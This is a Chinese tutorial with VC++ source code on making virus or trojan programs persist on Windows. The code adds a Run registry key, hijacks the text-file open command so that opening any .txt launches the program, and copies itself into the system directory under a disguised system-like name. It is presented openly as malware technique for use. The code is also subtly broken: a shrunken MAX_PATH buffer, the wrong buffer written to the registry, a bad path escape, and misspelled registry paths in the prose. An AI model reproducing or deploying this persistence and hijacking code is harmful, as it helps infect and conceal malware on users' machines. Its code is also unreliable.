无论是病毒还是木马程序的编制。都常常会碰到如何在系统启动时自动运行自己的程序的问题,这里我将结合自己的经验来谈一谈程序的自动加载技术，顺便也说说程序的自拷贝，也就是将自身拷贝到系统目录下，通常在Windows系统中，程序自动启动的方法有两种，一是利用Win.ini和System.ini等文件的数据段的方法，本文就不详细说了。二是使用修改注册表的方法，下面来详细介绍一下。
在Window2000计算机的系统注册表中，我们通过向子目录HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run中添加新的键值就可以让程序在系统启动的过程中自动启动，这里我们将要介绍的是如何在程序中实现这种方法.
无论对于病毒还是木马,仅仅有自动加载的功能是不够受的,如果启动起来进程一但被系统杀掉,还必须通过某种方式重新启动程序.这里我要谈到的是程序的自动关联技术,可以将我们的程序与常用的的程序关联比如与文本文档关联,这样用户每次试图打开文本文件的时候,就会将我们的程序打开,这种方法也是通过修改注册表的方法进行关联,可以修改注册表的HKEY_CALSSES_ROOT\txtfile\shell\open\comand下的默认值来达到关联的目的.
还有一点,也是经常采用的技术.我们的程序第一次运行的时候,最好能将自身复制到Windows的系统目录中,这里我们用了CopyFile函数,复制的过程中为了使得我们的程序更具有隐蔽性,没有采用原来的名字,而是改成了一个与某些系统文件貌似的文件名称,也就是木马常常使用的伪隐藏的方法.
程序代码用VC++6.0写成,在编译时一定要将编译开关选择为多线程版本.否则会提示找不到_bgeinthreadex和_endthreadex.
下面我们来探讨一下代码.
#include<TCHAR.h>
#include<iostream.h>
#include<afx.h>
#ifdef MAX_PATH
#undef MAX_PATH
#define MAX_PATH 20
#endif
int main()
{
TCHAR TempPath[MAX_PATH];
CString temp;
::GetSystemDirectory(TempPath,MAX_PATH);
temp = TempPath;
temp = temp+_T("\Intranet.exe");
int len = temp.GetLength();
//进行相应的类型转换，使之能够受的与RegSetValueEx()函数的参数类型相符合
LPBYTE lpb = new BYTE[len];
for(int j=0;j<len;j++)
{
lpb[j]=TempPath[j];
}
lpb[j]=0;
//判断文件的拷贝成功与否，成功返回非0
if(!CopyFile("KillYou.exe",temp,FALSE))
{
LPVOID lpMsgBuf;
//对出错消息进行格式化，FormatMessage()的参数5，在向lpMsgBuf赋值时默认使用了LocalAlloc函数
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM|
FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),
(LPTSTR)&lpMsgBuf,
0,
NULL);
MessageBox(NULL,(LPCTSTR)lpMsgBuf,"Error",MB_OK);
//必须用LocalFree()释放
LocalFree(lpMsgBuf);
}
HKEY hKey;
LPCTSTR data_Set = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//设定自动运行模块,这里先要将注册码表打开，返回子目录句柄，然后用这个句柄，
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len);
::RegCloseKey(hKey);
//设定文件关联，
data_Set = "txtfile\\shell\\open\\command";
::RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_WRITE,&hKey);
::RegSetValueEx(hKey,NULL,NULL,REG_EXPAND_SZ,lpb,len);
::RegCloseKey(hKey);
MessageBox(NULL,"Thank You for using this Program!","Hello",MB_OK);
delete []lpb;
return 0;
}
